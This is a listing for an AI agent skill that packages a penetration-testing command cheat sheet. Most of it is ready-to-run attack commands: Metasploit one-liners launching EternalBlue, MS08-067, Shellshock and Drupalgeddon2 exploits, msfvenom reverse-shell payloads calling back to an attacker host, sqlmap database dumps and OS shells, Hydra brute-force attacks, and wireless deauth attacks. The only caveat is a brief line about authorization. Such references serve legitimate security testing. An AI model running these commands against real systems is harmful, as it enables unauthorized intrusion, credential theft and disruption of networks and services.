This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
Add this skill
npx mdskills install sickn33/pentest-commandsComprehensive pentesting command reference with well-organized tool coverage and clear examples
1---2name: Pentest Commands3description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.4metadata:5 author: zebbern6 version: "1.1"7---89# Pentest Commands1011## Purpose1213Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.1415## Inputs/Prerequisites1617- Kali Linux or penetration testing distribution18- Target IP addresses with authorization19- Wordlists for brute forcing20- Network access to target systems21- Basic understanding of tool syntax2223## Outputs/Deliverables2425- Network enumeration results26- Identified vulnerabilities27- Exploitation payloads28- Cracked credentials29- Web vulnerability findings3031## Core Workflow3233### 1. Nmap Commands3435**Host Discovery:**3637```bash38# Ping sweep39nmap -sP 192.168.1.0/244041# List IPs without scanning42nmap -sL 192.168.1.0/244344# Ping scan (host discovery)45nmap -sn 192.168.1.0/2446```4748**Port Scanning:**4950```bash51# TCP SYN scan (stealth)52nmap -sS 192.168.1.15354# Full TCP connect scan55nmap -sT 192.168.1.15657# UDP scan58nmap -sU 192.168.1.15960# All ports (1-65535)61nmap -p- 192.168.1.16263# Specific ports64nmap -p 22,80,443 192.168.1.165```6667**Service Detection:**6869```bash70# Service versions71nmap -sV 192.168.1.17273# OS detection74nmap -O 192.168.1.17576# Comprehensive scan77nmap -A 192.168.1.17879# Skip host discovery80nmap -Pn 192.168.1.181```8283**NSE Scripts:**8485```bash86# Vulnerability scan87nmap --script vuln 192.168.1.18889# SMB enumeration90nmap --script smb-enum-shares -p 445 192.168.1.19192# HTTP enumeration93nmap --script http-enum -p 80 192.168.1.19495# Check EternalBlue96nmap --script smb-vuln-ms17-010 192.168.1.19798# Check MS08-06799nmap --script smb-vuln-ms08-067 192.168.1.1100101# SSH brute force102nmap --script ssh-brute -p 22 192.168.1.1103104# FTP anonymous105nmap --script ftp-anon 192.168.1.1106107# DNS brute force108nmap --script dns-brute 192.168.1.1109110# HTTP methods111nmap -p80 --script http-methods 192.168.1.1112113# HTTP headers114nmap -p80 --script http-headers 192.168.1.1115116# SQL injection check117nmap --script http-sql-injection -p 80 192.168.1.1118```119120**Advanced Scans:**121122```bash123# Xmas scan124nmap -sX 192.168.1.1125126# ACK scan (firewall detection)127nmap -sA 192.168.1.1128129# Window scan130nmap -sW 192.168.1.1131132# Traceroute133nmap --traceroute 192.168.1.1134```135136### 2. Metasploit Commands137138**Basic Usage:**139140```bash141# Launch Metasploit142msfconsole143144# Search for exploits145search type:exploit name:smb146147# Use exploit148use exploit/windows/smb/ms17_010_eternalblue149150# Show options151show options152153# Set target154set RHOST 192.168.1.1155156# Set payload157set PAYLOAD windows/meterpreter/reverse_tcp158159# Run exploit160exploit161```162163**Common Exploits:**164165```bash166# EternalBlue167msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"168169# MS08-067 (Conficker)170msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"171172# vsftpd backdoor173msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"174175# Shellshock176msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"177178# Drupalgeddon2179msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"180181# PSExec182msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"183```184185**Scanners:**186187```bash188# TCP port scan189msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"190191# SMB version scan192msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"193194# SMB share enumeration195msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"196197# SSH brute force198msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"199200# FTP brute force201msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"202203# RDP scanning204msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"205```206207**Handler Setup:**208209```bash210# Multi-handler for reverse shells211msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"212```213214**Payload Generation (msfvenom):**215216```bash217# Windows reverse shell218msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe219220# Linux reverse shell221msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf222223# PHP reverse shell224msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php225226# ASP reverse shell227msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp228229# WAR file230msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war231232# Python payload233msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py234```235236### 3. Nikto Commands237238```bash239# Basic scan240nikto -h http://192.168.1.1241242# Comprehensive scan243nikto -h http://192.168.1.1 -C all244245# Output to file246nikto -h http://192.168.1.1 -output report.html247248# Plugin-based scans249nikto -h http://192.168.1.1 -Plugins robots250nikto -h http://192.168.1.1 -Plugins shellshock251nikto -h http://192.168.1.1 -Plugins heartbleed252nikto -h http://192.168.1.1 -Plugins ssl253254# Export to Metasploit255nikto -h http://192.168.1.1 -Format msf+256257# Specific tuning258nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only259```260261### 4. SQLMap Commands262263```bash264# Basic injection test265sqlmap -u "http://192.168.1.1/page?id=1"266267# Enumerate databases268sqlmap -u "http://192.168.1.1/page?id=1" --dbs269270# Enumerate tables271sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables272273# Dump table274sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump275276# OS shell277sqlmap -u "http://192.168.1.1/page?id=1" --os-shell278279# POST request280sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"281282# Cookie injection283sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"284285# Bypass WAF286sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment287288# Risk and level289sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5290```291292### 5. Hydra Commands293294```bash295# SSH brute force296hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1297298# FTP brute force299hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1300301# HTTP POST form302hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"303304# HTTP Basic Auth305hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/306307# SMB brute force308hydra -l admin -P passwords.txt smb://192.168.1.1309310# RDP brute force311hydra -l admin -P passwords.txt rdp://192.168.1.1312313# MySQL brute force314hydra -l root -P passwords.txt mysql://192.168.1.1315316# Username list317hydra -L users.txt -P passwords.txt ssh://192.168.1.1318```319320### 6. John the Ripper Commands321322```bash323# Crack password file324john hash.txt325326# Specify wordlist327john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt328329# Show cracked passwords330john hash.txt --show331332# Specify format333john hash.txt --format=raw-md5334john hash.txt --format=nt335john hash.txt --format=sha512crypt336337# SSH key passphrase338ssh2john id_rsa > ssh_hash.txt339john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt340341# ZIP password342zip2john file.zip > zip_hash.txt343john zip_hash.txt344```345346### 7. Aircrack-ng Commands347348```bash349# Monitor mode350airmon-ng start wlan0351352# Capture packets353airodump-ng wlan0mon354355# Target specific network356airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon357358# Deauth attack359aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon360361# Crack WPA handshake362aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap363```364365### 8. Wireshark/Tshark Commands366367```bash368# Capture traffic369tshark -i eth0 -w capture.pcap370371# Read capture file372tshark -r capture.pcap373374# Filter by protocol375tshark -r capture.pcap -Y "http"376377# Filter by IP378tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"379380# Extract HTTP data381tshark -r capture.pcap -Y "http" -T fields -e http.request.uri382```383384## Quick Reference385386### Common Port Scans387388```bash389# Quick scan390nmap -F 192.168.1.1391392# Full comprehensive393nmap -sV -sC -A -p- 192.168.1.1394395# Fast with version396nmap -sV -T4 192.168.1.1397```398399### Password Hash Types400401| Mode | Type |402|------|------|403| 0 | MD5 |404| 100 | SHA1 |405| 1000 | NTLM |406| 1800 | sha512crypt |407| 3200 | bcrypt |408| 13100 | Kerberoast |409410## Constraints411412- Always have written authorization413- Some scans are noisy and detectable414- Brute forcing may lock accounts415- Rate limiting affects tools416417## Examples418419### Example 1: Quick Vulnerability Scan420421```bash422nmap -sV --script vuln 192.168.1.1423```424425### Example 2: Web App Test426427```bash428nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs429```430431## Troubleshooting432433| Issue | Solution |434|-------|----------|435| Scan too slow | Increase timing (-T4, -T5) |436| Ports filtered | Try different scan types |437| Exploit fails | Check target version compatibility |438| Passwords not cracking | Try larger wordlists, rules |439
Full transparency — inspect the skill content before installing.